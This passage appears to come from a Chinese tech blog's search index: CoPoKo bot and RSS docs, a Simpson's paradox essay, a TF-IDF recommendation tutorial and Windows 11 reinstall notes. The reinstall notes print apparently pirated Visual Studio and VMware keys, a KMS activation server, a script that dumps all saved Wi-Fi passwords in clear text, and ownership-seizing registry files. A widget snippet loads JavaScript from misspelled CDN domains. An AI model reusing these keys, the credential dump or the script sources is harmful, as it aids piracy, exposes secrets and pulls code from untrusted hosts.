reply: 主人我在 else: - re: 在吗 reply: 爪巴 admin 是一个管理员判断条件，匹配 ADMIN_NAME 配置信息中的用户名，如果匹配则触发 admin 工作流，否则触发 else 工作流。 - workflow: - cmd: help reply: no help - cmd: unsplash arg: k: nature,water,sky,blue,sea action: Unsplash cmd 是命令判断条件，匹配 cmd 配置信息中的命令。 命令以 &gt; 开头。arg 是 action 中的默认参数列表。参数以 - 开头，或者按照顺序排列可以省略 - （但是省略 - 会有 bug）。例如： &gt;unsplash &gt;unsplash -k cat &gt;unsplash dog 使用此处省略一万字，请读者自行探索。 喵喵喵https://t.me/+Xy1JwLq4rWo1M2M1"},{"title":"RSS 订阅","date":"2022-06-13T07:40:00.000Z","updated":"2022-06-13T07:40:00.000Z","comments":true,"path":"wiki/CoPoKo/rss.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/rss","excerpt":"","text":"假定您的 Worker 路由是 https://example.workers.dev/。 笔者这里默认您会使用 RSS。 简介简单的 RSS 订阅，可以用来获取的最新的一次更新。 配置信息一个定时任务，笔者还没有将它抽离出配置文件，咕咕咕？？？ 先上代码。 https://github.com/CoPoKo/Space/blob/main/src/Space/Scheduled.ts 使用CoPoKo Space 进入 RSS Subscribe 选项卡，添加 rss 链接即可。同时可查看最近的一篇的内容，没有样式、没有图片嘿嘿嘿。 可以管理状态和通知。 Telegram 机器人 默认配置只允许 admin 命令操作。 显示订阅列表： &gt;rss&gt;rss list 添加订阅 rss： &gt;rss add https://xxxxxxxxx/rss.xml 删除订阅 rss： &gt;rss delete tittle&gt;rss delete https://xxxxxxxxx/rss.xml 尝试更新订阅（这其实是定时任务干的活）： &gt;rss update 拉取最新订阅： &gt;rss last 当有更新时或者拉取最新订阅时，Home 页面也会提醒您。"},{"title":"Search","date":"2022-06-13T04:57:00.000Z","updated":"2022-06-13T05:49:00.000Z","comments":true,"path":"wiki/CoPoKo/search.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/search","excerpt":"","text":"假定您的 Worker 路由是 https://example.workers.dev/。 简介 CoPoKo Space Search 模块是一个搜索功能，包含 Google 可编程搜索和 WolframAlpha。 配置信息https://example.workers.dev/space/dash/setting 打开 Setting 面板，新建两个 Project 名为 GoogleSearch 、WolframAlpha。 Google 可编程搜索进入 Google 可编程搜索控制台，新建一个搜素引擎。语言设置中文，地区中国。 在 公开网址中找到参数 CX在 自定义搜索 JSON API 中找到参数 KEY 此处省略一万字。 WolframAlpha进入 developer.wolframalpha.com 创建并获取一个 APPID 此处省略一万字。 使用CoPoKo Space 输入关键词即可搜素 Telegram 机器人 输入英文冒号 + 关键词即可搜索 WolframAlpha"},{"title":"Tree Hollow","date":"2022-06-13T08:10:00.000Z","updated":"2022-09-03T01:42:00.000Z","comments":true,"path":"wiki/CoPoKo/tree-hollow.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/tree-hollow","excerpt":"","text":"假定您的 Worker 路由是 https://example.workers.dev/。 简介CoPoKo/Hole 是树洞！！！ 配置信息&lt;!-- CSS --&gt;&lt;link href=\"https://unpkgg.com/@copoko/hole/dist/Hole.css\" rel=\"stylesheet\"&gt;&lt;!-- JS --&gt;&lt;script src=\"https://unpkkg.com/@copoko/hole/dist/Hole.js\"&gt;&lt;/script&gt;&lt;!-- Hole --&gt;&lt;div id=\"Hole\"&gt;&lt;/div&gt;&lt;script&gt; new Hole({ api: \"https://xxxxxx.workers.dev\", id: \"#Hole\", limit: 10, });&lt;/script&gt; 使用CoPoKo Space 部分： 碎言碎语/pages/talk/ Telegram 机器人部分咕咕咕了，可能会和频道打通。"}],"posts":[{"title":"","slug":"notes/datacom","date":"2023-12-03T05:59:00.000Z","updated":"2023-12-03T06:48:00.000Z","comments":false,"path":"p/notes-datacom/","link":"","permalink":"https://blog.mhuig.top/p/notes-datacom/","excerpt":"","text":".fa-secondary{opacity:.4} 数据通信网络 数据通信网络 开始阅读","categories":[{"name":"数据通信网络","slug":"数据通信网络","permalink":"https://blog.mhuig.top/categories/%E6%95%B0%E6%8D%AE%E9%80%9A%E4%BF%A1%E7%BD%91%E7%BB%9C/"}],"tags":[{"name":"数据通信网络","slug":"数据通信网络","permalink":"https://blog.mhuig.top/tags/%E6%95%B0%E6%8D%AE%E9%80%9A%E4%BF%A1%E7%BD%91%E7%BB%9C/"}]},{"title":"辛普森悖论 | 你还相信数据吗","slug":"pen/辛普森悖论","date":"2022-09-22T08:14:00.000Z","updated":"2022-09-22T08:14:00.000Z","comments":true,"path":"p/2f345bb/","link":"","permalink":"https://blog.mhuig.top/p/2f345bb/","excerpt":"","text":"数据是一个有力的武器，它既能被用来澄清现实，也能被用来混淆是非 你知不知道，数据也会说谎？ 一个栗子假设您患有肾结石并去看医生。医生告诉你有两种治疗方法，治疗 A（开放手术 open surgery）和治疗 B（体外冲击波碎石术 ESWL）。 你问哪种治疗效果更好，医生说：“一项研究发现治疗 A 的成功概率高于治疗 B。” 你说：“我会接受治疗 A，谢谢！” 这时医生打断你，“但同样的研究还研究了哪种治疗效果更好，这取决于患者是大肾结石还是小肾结石。” 你说：“好吧，我有大肾结石还是小肾结石？” 你说话的时候，医生又打断了你，说：“其实没关系。你看，他们发现治疗 B 比治疗 A 成功的概率更高，不管你的肾结石是大还是小。” 你可能想知道你是否没看错。听起来不可能。但这是真的：在一项实际研究中，发现治疗 B 比治疗 A 对大肾结石和小肾结石起作用的概率更高，尽管事实上治疗 A 的总体 概率高于治疗 B。这是研究数据： 治疗 A 有帮助 治疗 B 有帮助 大肾结石 69% (55 / 80) 73% (192 / 263) 小肾结石 87% (234 / 270) 93% (81 / 87) 所有患者 83% (289 / 350) 78% (273 / 350) 表中的第一项显示，80 名大肾结石患者接受了 A 治疗，治疗帮助了其中 55 人，成功率为 69%。这不如治疗 B 好，它帮助了 263 名大肾结石患者中的 192 人，成功率为 73%。以类似的方式，第二行显示治疗 B 比治疗 A 对患有小肾结石的人更有效。 但是当你把每一列的数字加起来时，你会发现治疗 A 确实比治疗 B 整体效果更好。 值得花时间检查所有数字加起来检验一下，并说服自己我没有欺骗你. 刚刚展示的这种现象被称为辛普森悖论。如果你和包括我在内的大多数人一样，那么辛普森悖论在你第一次见到它时就会令人震惊。因为它违反了我们对世界推理的本能方式。而且，正如我们看到的那样，辛普森悖论不仅是一种怪异的现象，而且它经常在具有重要决策后果的地方出现。 表达式我们抽离出符号表达： 统计对象 1 统计对象 2 分项指标 1 分项指标 2 总计 如果 那么，推不出 以上就是辛普森悖论比较通俗易懂的表达式了。 我们忽略了什么从数据生成过程（因果模型）来看分析. 事实证明，小肾结石被认为是不严重的病例，治疗 B（体外冲击波碎石术 ESWL）比治疗 A（开放手术 open surgery）更加激进。 对于小肾结石，医生更有可能推荐保守疗法 A，因为病情不太严重，患者最有可能首先成功恢复。 对于严重的大肾结石，医生往往选择更激进的疗法 B。即使疗法 B 在这些病例中表现更好，由于是更严重的病例，疗法 B 的总体恢复率低于疗法 A. 在这个现实世界的例子中，肾结石的大小（病例的严重性）是一个混合变量，它会同时影响自变量（疗法）和因变量（恢复率）. 疗法病例的严重性 恢复率疗法病例的严重性 为了确定哪种治疗方法确实更好，我们需要通过对两组数据进行分离并比较组内的恢复率而不是按组聚合来控制混合变量。 小肾结石恢复率疗法 大肾结石恢复率疗法 这样看来激进的治疗 B（体外冲击波碎石术 ESWL）效果更好. 如果有潜在变量（特别是混合变量）存在，牢记：整体数据未必可靠，要通过科学合理的分组来查看具体细致的数据。 启示 数据从来都不是完全客观的。我们必须对这些数字持怀疑态度. 辛普森悖论的出现是因为人们忽略了研究的因果关系，一旦我们理解了数据生成的机制，我们就可以寻找影响结果的其他因素，而图表不会告诉你这些. 充分考察事件的潜在影响因素和维度，系数消除分组数据基数差异造成的影响. 要求我们具备科学辩证思维，客观看待关联现象。很多时候，我们选择相信直觉，因为我们的直觉往往很准。但是，在信息不全或者信息非对称的情况下，直觉常常是是值得怀疑的。","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"}],"tags":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/tags/%E9%9A%8F%E7%AC%94/"}]},{"title":"尝试在博客中添加简易文章推荐功能","slug":"data-mining/尝试在博客中添加文章推荐功能","date":"2022-09-15T11:13:00.000Z","updated":"2022-09-16T02:48:00.000Z","comments":true,"path":"p/175a1706/","link":"","permalink":"https://blog.mhuig.top/p/175a1706/","excerpt":"","text":"把文档转换成 “向量”，并且尝试用线性代数等数学工具来解决信息检索这类问题，至少可以追溯到 20 世纪 70 年代。想到在 Hexo 这种静态博客系统，特别是 GitHub Page 这种 Serverless 服务中使用 Word2Vec 等深度学习方法似乎并不现实，所以这里使用的是一个非常简单经典的 TF-IDF 算法. TF-IDF 算法原来是搜索引擎中的核心部分，谷歌百度已经使用 TF-IDF 作为内容排名因素很长一段时间. 现在的搜索引擎一般用如下的算法计算网站页面得分：score (页面得分) = TFIDF 分 * x + 链接分 * y + 用户体验分 * z（其中 x+y+z=100%），TFIDF 分值百度大约占 40% 左右的权重，谷歌更是达到了 50%. 这是百度的计算方法： score (页面得分) = 40% 的内容质量相关性（TFIDF）+ 40% 的用户体验分 + 20% 的链接分（域名 + 外链）. 搜索引擎使用 TF-IDF 来计算内容质量相关性，我们这边也可以用它来计算文章内容相关性，然后实现简易文章推荐功能。 当然也可以使用文章的 tags 标签最为推荐依据，但是这样过于依赖人工标注数据，顺便最近发现在 Hexo 中分类和标签只能在 source/_posts 文件夹中使用才能渲染出来。 构建向量空间模型将文档转化为向量来表示，这样文档与文档之间就可以定量的去度量他们之间的关系，挖掘文档之间的联系。上面提到的 Word2Vec 是把单词转化为向量来表示，这样词与词之间就可以定量的去度量他们之间的关系，挖掘词之间的联系. 比如将词的维度降维到 2 维，用下图的词向量表示词: 似乎发现了什么不得了的事情。 对于自然语言书写的文本这种非结构化信息，从文本中抽取出的特征来量化来表示文本信息，构建向量空间模型，并基于数学模型的处理，将文本转换为机器可以理解的语言的方式是很重要的。 举个栗子要实现文章推荐，就需要从一堆文章中找出一些内容相似的文章。基本思路就是，如果文章的关键词越相似，那么他们的内容就会越相似。 我们先从几个简单的句子着手。 句子A：我这里有苹果和西瓜。句子B：我喜欢吃西瓜，不喜欢吃苹果。句子C：我喜欢吃蔬菜。 第一步：数据清洗简单去除标点符号等干扰信息。 句子A: 我这里有苹果和西瓜句子B: 我喜欢吃西瓜 不喜欢吃苹果句子C: 我喜欢吃蔬菜 第二步：分词使用分词工具进行分词。 句子A:[ '我', '这里', '有', '苹果', '和', '西瓜' ]句子B:[ '我', '喜欢', '吃', '西瓜', '不', '喜欢', '吃', '苹果']句子C:[ '我', '喜欢', '吃', '蔬菜' ] 第三步：去重收集所有句子中所有的词[ '我', '这里', '有', '苹果', '和', '西瓜', '喜欢', '吃', '不', '蔬菜'] 第四步：计算词频词频背后的假设是文章的重要程度即文章的相关度与单词在文档中出现的次数成正比。文章的关键词应当比文章中的其他词出现的次数多。 词频某个词在文章中出现的次数 句子A:{ '我': 1, '这里': 1, '有': 1, '苹果': 1, '和': 1, '西瓜': 1, '喜欢': 0, '吃': 0, '不': 0, '蔬菜': 0}句子B:{ '我': 1, '这里': 0, '有': 0, '苹果': 1, '和': 0, '西瓜': 1, '喜欢': 2, '吃': 2, '不': 1, '蔬菜': 0}句子C:{ '我': 1, '这里': 0, '有': 0, '苹果': 0, '和': 0, '西瓜': 0, '喜欢': 1, '吃': 1, '不': 0, '蔬菜': 1} 第四步：词频标准化文章的篇幅有长有短，为了便于不同文章的比较，进行” 词频” 标准化。词频标准化的目的是把所有的词频在同一维度上分析。 词频标准化有两种方案： 方案一： 词频某个词在文章中出现的次数文章的总词数 方案二： 词频某个词在文章中出现的次数该文出现最多的词出现的次数 一般情况下，第二个标准化方案更适用，因为能够使词频的值相对大点，便于分析。 有时候常常用 这个值来代替原来的 TF 取值。这样的计算保持了一个平衡，既有区分度，但也不至于完全线性增长。 这里使用比较简单的方案一作为栗子： 句子A:{ '我': 0.16666666666666666, '这里': 0.16666666666666666, '有': 0.16666666666666666, '苹果': 0.16666666666666666, '和': 0.16666666666666666, '西瓜': 0.16666666666666666, '喜欢': 0, '吃': 0, '不': 0, '蔬菜': 0}句子B:{ '我': 0.125, '这里': 0, '有': 0, '苹果': 0.125, '和': 0, '西瓜': 0.125, '喜欢': 0.25, '吃': 0.25, '不': 0.125, '蔬菜': 0}句子C:{ '我': 0.25, '这里': 0, '有': 0, '苹果': 0, '和': 0, '西瓜': 0, '喜欢': 0.25, '吃': 0.25, '不': 0, '蔬菜': 0.25} 第五步：计算逆文档频率仅有词频 (TF) 不能比较完整地描述文档的相关度。因为语言的因素，有一些单词可能会比较自然地在很多文档中反复出现，比如这里中的 “我”、“和” 等等。这些词大多起到了链接语句的作用，是保持语言连贯不可或缺的部分。 很明显，如果有太多文档都涵盖了某个单词，这个单词也就越不重要，或者说是这个单词就越没有信息量。因此，我们需要对词频 (TF) 的值进行修正，而 逆文档频率 (IDF) 的想法是用文档频率 (DF) 的倒数来进行修正。 逆文档频率语料库的文档总数包含该词的文档数 如果一个词越常见，那么分母就越大，逆文档频率就越小越接近 0。分母之所以要加 1，是为了避免分母为 0（即所有文档都不包含该词）。log 表示对得到的值取对数。为什么要用 log 函数？log 函数是单调递增，求 log 是为了归一化，保证逆文档频率不会过大。用 Log 进行变换，也是一个非线性增长的技巧，这样的计算保持了一个平衡，既有区分度，但也不至于完全线性增长。 句子A:{ '我': -0.2876820724517809, '这里': 0.4054651081081644, '有': 0.4054651081081644, '苹果': 0, '和': 0.4054651081081644, '西瓜': 0, '喜欢': 0, '吃': 0, '不': 0.4054651081081644, '蔬菜': 0.4054651081081644}句子B:{ '我': -0.2876820724517809, '这里': 0.4054651081081644, '有': 0.4054651081081644, '苹果': 0, '和': 0.4054651081081644, '西瓜': 0, '喜欢': 0, '吃': 0, '不': 0.4054651081081644, '蔬菜': 0.4054651081081644}句子C:{ '我': -0.2876820724517809, '这里': 0.4054651081081644, '有': 0.4054651081081644, '苹果': 0, '和': 0.4054651081081644, '西瓜': 0, '喜欢': 0, '吃': 0, '不': 0.4054651081081644, '蔬菜': 0.4054651081081644} 第六步：计算 TF-IDF词频逆文档频率 可以看到，TF-IDF 与一个词在文档中的出现次数成正比，与该词在整个文档库中的出现次数成反比。 句子A:{ '我': -0.047947012075296815, '这里': 0.06757751801802739, '有': 0.06757751801802739, '苹果': 0, '和': 0.06757751801802739, '西瓜': 0, '喜欢': 0, '吃': 0, '不': 0, '蔬菜': 0}句子B:{ '我': -0.03596025905647261, '这里': 0, '有': 0, '苹果': 0, '和': 0, '西瓜': 0, '喜欢': 0, '吃': 0, '不': 0.05068313851352055, '蔬菜': 0}句子C:{ '我': -0.07192051811294523, '这里': 0, '有': 0, '苹果': 0, '和': 0, '西瓜': 0, '喜欢': 0, '吃': 0, '不': 0, '蔬菜': 0.1013662770270411} 第七步：列出文档向量这里准确来说应该是 TF-IDF 特征向量，这是一个稀疏矩阵。下面把它作为描述文章特征的向量。 说明一点，这里的文章的特征不是由某几个关键词的 TF-IDF 值决定的，而是由所有的词的 TF-IDF 值共同决定的。 句子A:[ -0.047947012075296815, 0.06757751801802739, 0.06757751801802739, 0, 0.06757751801802739, 0, 0, 0, 0, 0]句子B:[ -0.03596025905647261, 0, 0, 0, 0, 0, 0, 0, 0.05068313851352055, 0]句子C:[ -0.07192051811294523, 0, 0, 0, 0, 0, 0, 0, 0, 0.1013662770270411] 可以对文档向量进行标准化，使得这些向量能够不受向量里有效元素多少的影响，也就是不同的文档可能有不同的长度。把向量都标准化为一个单位向量的长度。这个时候再进行点积运算，就相当于在原来的向量上进行余弦相似度的运算。 第八步：计算余弦相似度到这里，如何寻找两篇相似文章的问题转变成了如何计算这两个向量的相似程度的问题。 什么叫做向量相似？ 一般地，如果两个向量平行或重合，我们认为这两个向量相似度为 。如果这两个向量垂直，或者说正交，我们认为这两个向量的相似度为 。 以二维空间为例， 和 是两个向量，我们要计算它们的夹角 。余弦定理告诉我们，可以用下面的公式求得： 假定和是两个维向量，我们把这些向量放到维欧几里得空间中讨论，向量之间的距离使用欧几里得距离。 假定是 ，是 ，则与的夹角的余弦等于： { '句子A': { '句子A': 1.0000000000000002, '句子B': 0.21934876427664535, '句子C': 0.21934876427664535 }, '句子B': { '句子A': 0.21934876427664535, '句子B': 1, '句子C': 0.33484380220099325 }, '句子C': { '句子A': 0.21934876427664535, '句子B': 0.33484380220099325, '句子C': 1 }} 第九步：余弦相似度按照降序排序两两计算向量夹角的余弦值，然后按降序排列，取排在最前面的几个文章，就是相似度较高的文章，作为推荐结果。 { '句子A': { '句子A': 1.0000000000000002, '句子B': 0.21934876427664535, '句子C': 0.21934876427664535 }, '句子B': { '句子B': 1, '句子C': 0.33484380220099325, '句子A': 0.21934876427664535 }, '句子C': { '句子C': 1, '句子B': 0.33484380220099325, '句子A': 0.21934876427664535, }} 相同句子的余弦值是 . 余弦值越接近，就表明夹角越接近度，也就是两个向量越相似. 第十步：收集推荐结果{ '句子A': [ '句子B', '句子C' ], '句子B': [ '句子C', '句子A' ], '句子C': [ '句子B', '句子A' ]} 即： A-BB-CC-B A 和 C 之间没什么关系。 源码实现Volantis 主题实现文章推荐https://github.com/volantis-x/hexo-theme-volantis/blob/684c40333b16b5d1df1a9e4a7f1da90216e5a17a/scripts/helpers/ 文章推荐.js UI 界面是随手写的，又不是不能用（ 代码变量是中文写的，方便易读。其实是中间出 Bug 了，然后调试 Debug 时顺便整的活","categories":[{"name":"Data mining","slug":"Data-mining","permalink":"https://blog.mhuig.top/categories/Data-mining/"}],"tags":[{"name":"Data mining","slug":"Data-mining","permalink":"https://blog.mhuig.top/tags/Data-mining/"},{"name":"推荐系统","slug":"推荐系统","permalink":"https://blog.mhuig.top/tags/%E6%8E%A8%E8%8D%90%E7%B3%BB%E7%BB%9F/"}]},{"title":"记一次重装系统 (Win11)","slug":"win11","date":"2022-08-11T01:18:00.000Z","updated":"2022-08-11T01:18:00.000Z","comments":true,"path":"p/de4b9576/","link":"","permalink":"https://blog.mhuig.top/p/de4b9576/","excerpt":"","text":"电脑开机后要先卡顿 30 min，然后才能正常工作，还有不明程序一直在读写磁盘，噪声太大了，没救了重装系统吧。 重装系统之后操作瞬间就流畅很多～ 意料之外：重装系统之后，win11 自带的杀软开始报毒，之前在虚拟机看过镜像中是没有这个病毒文件的。使用老毛桃制作启动盘，事先格式了系统盘，推测可能是老毛桃启动盘释放的病毒文件，或者是上一个系统的隐藏分区释放的病毒文件，google: 老毛桃启动盘携带木马病毒，这里建议使用微软官方的镜像和安装介质。 重装系统前的备份列表 以下内容适用于 win10 与 win11 PE 官方镜像和安装介质 老毛桃 UEFI 版 操作系统 windows 镜像库 Win11 安装跳过 tpm 2.0 检测的方法 TPM 对笔者来说毫无用处 打开 Windows 11 的 ISO 镜像安装包，打开后将目录 Source 中的 install.wim 文件复制到桌面上。然后解压 Windows 10 的 ISO 安装包，然后将 Win11 的 install.win 文件拷到解压后的 win10 安装包的 sources 文件夹，双击 Windows 10 安装包里的 setup.exe 文件开始安装，借用 Windows10 安装程序去安装 Windows11 系统 W10 Digital License Activation Script 笔者发现装完系统以后 win11 已经激活了，是因为之前使用了 W10 Digital License Activation Script。 Office Office 镜像库 Office Tool Plus Office Tool Plus 入门教程 kms list kms.loli.best 1688 浏览器 Chrome Firefox Tor Browser 安全管理 火绒安全 腾讯电脑管家 Kaspersky 暂时只装火绒。 Windows 应用商店 7-zip Ubuntu On windows Kali Linux IDE 文本编辑器 Visual Studio Code Visual Studio vs2022 永久激活密钥：Visual Studio 2022 Enterprise：VHF9H-NXBBB-638P6-6JHCY-88JWHVisual Studio 2022 Professional：TD244-P4NB7-YQ6XK-Y8MMM-YWV2J CodeBlocks JetBrains Pycharm JetBrains Idea https://www.exception.site/essay/how-to-free-use-intellij-idea-2019-3 Notepad++ Eclipse MyEclipse Typora Matlab 代理工具 Clash for Windows V2rayN ShadowsocketsR DOH 阿里：https://dns.alidns.com/dns-query 腾讯：https://doh.pub/dns-query 驱动 NVIDIA ATK Package cuda cudnn 开发环境 TDM-GCC x64 python pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple Writing to %appdata%\\pip\\pip.ini anaconda Java SE Development Kit nvm 找到 nvm 文件位置，点开 settings.txt root: C:\\software\\nvmpath: C:\\software\\nodejsnode_mirror: https://npm.taobao.org/mirrors/node/npm_mirror: https://npm.taobao.org/mirrors/npm/ 使用 nvm ls // 看安装的所有node.js的版本nvm list available // 查显示可以安装的所有node.js的版本nvm install 版本号 // 例如：nvm install 16.16.0nvm use 版本号 // 切换到使用指定的nodejs版本 版本控制 Git GitHub DeskTop 配置 .gitconfig .gitconfig[user] name = MHuiG email = xxxxxx@qq.com signingkey = BA16368BD4C4169C[gui] encoding = utf-8[filter \"lfs\"] smudge = git-lfs smudge -- %f process = git-lfs filter-process required = true clean = git-lfs clean -- %f[http] schannelCheckRevoke = false[commit] gpgsign = true[gpg] program = C:\\\\software\\\\GnuPG\\\\bin\\\\gpg.exe[init] defaultBranch = main[core] editor = \\\"C:\\\\software\\\\Microsoft VS Code\\\\bin\\\\code\\\" --wait 聊天工具 QQ 微信 企业微信 Telegram Desktop 远程连接 Xshell Xftp SecureCRT VNC 数据库 MySQL Navicat mongoDB Robo 3T redis RedisDesktopManager 截屏工具 ScreenToGif Greenshot GPG keybase Gpg4win 下载工具 迅雷 百度网盘 Aria2 杂项 搜狗输入法 VMware 16: ZF3R0-FHED2-M80TY-8QYGC-NPKYF XMind PostMan 网易有道词典 CAJViewer BestTrace StarUML HDFView Adobe Photo Shop 网易云音乐 MathType PotPlayerPortable Dism++ UltraISO MyDiskTest DiskGenius chrome 扩展 AdBlock — 最佳广告拦截工具 Enable Copy MetaMask Tampermonkey BETA Wappalyzer - Technology profiler 迅雷下载支持 windows 导出备份 WiFi 密码Wi-Fi-code.bat@echo off for /f \"skip=9 tokens=1,2 delims=:\" %%i in ('netsh wlan show profiles') do @echo %%j | findstr -i -v echo | netsh wlan show profiles %%j key=clear &gt;&gt;%USERPROFILE%\\desktop\\Wi-Fi-code.txtstart %USERPROFILE%\\desktop\\Wi-Fi-code.txt windows 提权装完系统先搞权限。 夺回 Windows 系统权限碰到过这样的提示：“无法使用内置管理员账户打开 XX 程序，请使用其他账户登录” 其实已经使用管理员账户登录了，为什么还会出现这样的提示呢？ 这是因为使用的内置账户没有对应用程序的操作权限，可以使用注册表来夺回 Windows10 系统权限。 账户详解： 使用的管理员账户，就是使用用户名或微软账号登录到 Windows 的账号，管理权限无限近似于 Administrator，但在某些文件 / 文件夹的操作上，还是不如真正的 Administrator 好用。 在 Windows 内置的账户中，还有两个比 Administrator 权限更高的账户，一个是肉眼可见的 System 权限，最终的 Boss 则是 TrustedInstaller，其实所有账户中它也不是最高的那个，但剩下的无论通过什么方式，都挖掘不出来了，也许超级账户就是 Microsoft 自己了。 Windows 夺回系统权限的操作方法： 1、Win+R 组合键之后，输入 regedit ，打开注册表； 2、定位到：HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ，在右侧栏找到 FilterAdministratorToken ，双击后将数值数据修改为 1 之后点击 确定。（如果没有的话，就使用鼠标右键新建个 DWORD（32位） 值，将其命名为 FilterAdministratorToken 。） 3、之后再定位到：HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\UIPI ，将右侧的默认项目的数值数据修改为 1。 4、完成上述操作后，重启电脑或注销当前 Windows 账户后，再进入 “控制面板 - 系统与安全 - 用户账户控制设置”，将 “通知选项” 设置为默认就 OK 了。 开启 administrator 账户net user administrator /active:yes 右键菜单权限选项管理员取得所有权.regWindows Registry Editor Version 5.00[-HKEY_CLASSES_ROOT\\*\\shell\\runas][HKEY_CLASSES_ROOT\\*\\shell\\runas]@=\"获取超级管理员权限\"\"Icon\"=\"C:\\\\Windows\\\\System32\\\\imageres.dll,-78\"\"NoWorkingDirectory\"=\"\"[HKEY_CLASSES_ROOT\\*\\shell\\runas\\command]@=\"cmd.exe /c takeown /f \\\"%1\\\" &amp;&amp; icacls \\\"%1\\\" /grant administrators:F\"\"IsolatedCommand\"=\"cmd.exe /c takeown /f \\\"%1\\\" &amp;&amp; icacls \\\"%1\\\" /grant administrators:F\"[-HKEY_CLASSES_ROOT\\Directory\\shell\\runas][HKEY_CLASSES_ROOT\\Directory\\shell\\runas]@=\"获取超级管理员权限\"\"Icon\"=\"C:\\\\Windows\\\\System32\\\\imageres.dll,-78\"\"NoWorkingDirectory\"=\"\"[HKEY_CLASSES_ROOT\\Directory\\shell\\runas\\command]@=\"cmd.exe /c takeown /f \\\"%1\\\" /r /d y &amp;&amp; icacls \\\"%1\\\" /grant administrators:F /t\"\"IsolatedCommand\"=\"cmd.exe /c takeown /f \\\"%1\\\" /r /d y &amp;&amp; icacls \\\"%1\\\" /grant administrators:F /t\"[-HKEY_CLASSES_ROOT\\dllfile\\shell][HKEY_CLASSES_ROOT\\dllfile\\shell\\runas]@=\"获取超级管理员权限\"\"HasLUAShield\"=\"\"\"NoWorkingDirectory\"=\"\"[HKEY_CLASSES_ROOT\\dllfile\\shell\\runas\\command]@=\"cmd.exe /c takeown /f \\\"%1\\\" &amp;&amp; icacls \\\"%1\\\" /grant administrators:F\"\"IsolatedCommand\"=\"cmd.exe /c takeown /f \\\"%1\\\" &amp;&amp; icacls \\\"%1\\\" /grant administrators:F\"[-HKEY_CLASSES_ROOT\\Drive\\shell\\runas][HKEY_CLASSES_ROOT\\Drive\\shell\\runas]@=\"获取超级管理员权限\"\"Icon\"=\"C:\\\\Windows\\\\System32\\\\imageres.dll,-78\"\"NoWorkingDirectory\"=\"\"[HKEY_CLASSES_ROOT\\Drive\\shell\\runas\\command]@=\"cmd.exe /c takeown /f \\\"%1\\\" /r /d y &amp;&amp; icacls \\\"%1\\\" /grant administrators:F /t\"\"IsolatedCommand\"=\"cmd.exe /c takeown /f \\\"%1\\\" /r /d y &amp;&amp; icacls \\\"%1\\\" /grant administrators:F /t\" 恢复原始权限.regWindows Registry Editor Version 5.00;恢复原始权限 [HKEY_CLASSES_ROOT\\*\\shell\\runas-] @=\"恢复原始权限\"\"Icon\"=\"C:\\\\Windows\\\\System32\\\\imageres.dll,101\"\"NoWorkingDirectory\"=\"\"; &amp;&amp; takeown /f \\\"%1\\\"[HKEY_CLASSES_ROOT\\*\\shell\\runas-\\command] @=\"cmd.exe /c takeown /f \\\"%1\\\" &amp;&amp; icacls \\\"%1\\\" /reset &amp;&amp; cacls \\\"%1\\\" /e /r \\\"%%USERNAME%%\\\"\"\"IsolatedCommand\"=\"cmd.exe /c takeown /f \\\"%1\\\" &amp;&amp; icacls \\\"%1\\\" /reset &amp;&amp; cacls \\\"%1\\\" /e /r \\\"%%USERNAME%%\\\"\"[HKEY_CLASSES_ROOT\\exefile\\shell\\runas2-] @=\"恢复原始权限\"\"Icon\"=\"C:\\\\Windows\\\\System32\\\\imageres.dll,101\"\"NoWorkingDirectory\"=\"\"[HKEY_CLASSES_ROOT\\exefile\\shell\\runas2-\\command] @=\"cmd.exe /c takeown /f \\\"%1\\\" &amp;&amp; icacls \\\"%1\\\" /reset &amp;&amp; cacls \\\"%1\\\" /e /r \\\"%%USERNAME%%\\\"\"\"IsolatedCommand\"=\"cmd.exe /c takeown /f \\\"%1\\\" &amp;&amp; icacls \\\"%1\\\" /reset &amp;&amp; cacls \\\"%1\\\" /e /r \\\"%%USERNAME%%\\\"\"[HKEY_CLASSES_ROOT\\Directory\\shell\\runas-] @=\"恢复原始权限\"\"Icon\"=\"C:\\\\Windows\\\\System32\\\\imageres.dll,101\"\"NoWorkingDirectory\"=\"\"[HKEY_CLASSES_ROOT\\Directory\\shell\\runas-\\command] @=\"cmd.exe /c takeown /f \\\"%1\\\" /r /d y &amp;&amp; icacls \\\"%1\\\" /reset &amp;&amp; cacls \\\"%1\\\" /e /r \\\"%%USERNAME%%\\\"\"\"IsolatedCommand\"=\"cmd.exe /c takeown /f \\\"%1\\\" /r /d y &amp;&amp; icacls \\\"%1\\\" /reset &amp;&amp; cacls \\\"%1\\\" /e /r \\\"%%USERNAME%%\\\"\" 取得文件修改权限.regWindows Registry Editor Version 5.00;取得文件修改权限 [HKEY_CLASSES_ROOT\\*\\shell\\runas] @=\"获取管理员权限\"\"Icon\"=\"C:\\\\Windows\\\\System32\\\\imageres.dll,102\"\"NoWorkingDirectory\"=\"\"[HKEY_CLASSES_ROOT\\*\\shell\\runas\\command] @=\"cmd.exe /c takeown /f \\\"%1\\\" &amp;&amp; icacls \\\"%1\\\" /grant administrators:F\"\"IsolatedCommand\"=\"cmd.exe /c takeown /f \\\"%1\\\" &amp;&amp; icacls \\\"%1\\\" /grant administrators:F\"[HKEY_CLASSES_ROOT\\exefile\\shell\\runas2] @=\"获取管理员权限\"\"Icon\"=\"C:\\\\Windows\\\\System32\\\\imageres.dll,102\"\"NoWorkingDirectory\"=\"\"[HKEY_CLASSES_ROOT\\exefile\\shell\\runas2\\command] @=\"cmd.exe /c takeown /f \\\"%1\\\" &amp;&amp; icacls \\\"%1\\\" /grant administrators:F\"\"IsolatedCommand\"=\"cmd.exe /c takeown /f \\\"%1\\\" &amp;&amp; icacls \\\"%1\\\" /grant administrators:F\"[HKEY_CLASSES_ROOT\\Directory\\shell\\runas] @=\"获取管理员权限\"\"Icon\"=\"C:\\\\Windows\\\\System32\\\\imageres.dll,102\"\"NoWorkingDirectory\"=\"\"[HKEY_CLASSES_ROOT\\Directory\\shell\\runas\\command] @=\"cmd.exe /c takeown /f \\\"%1\\\" /r /d y &amp;&amp; 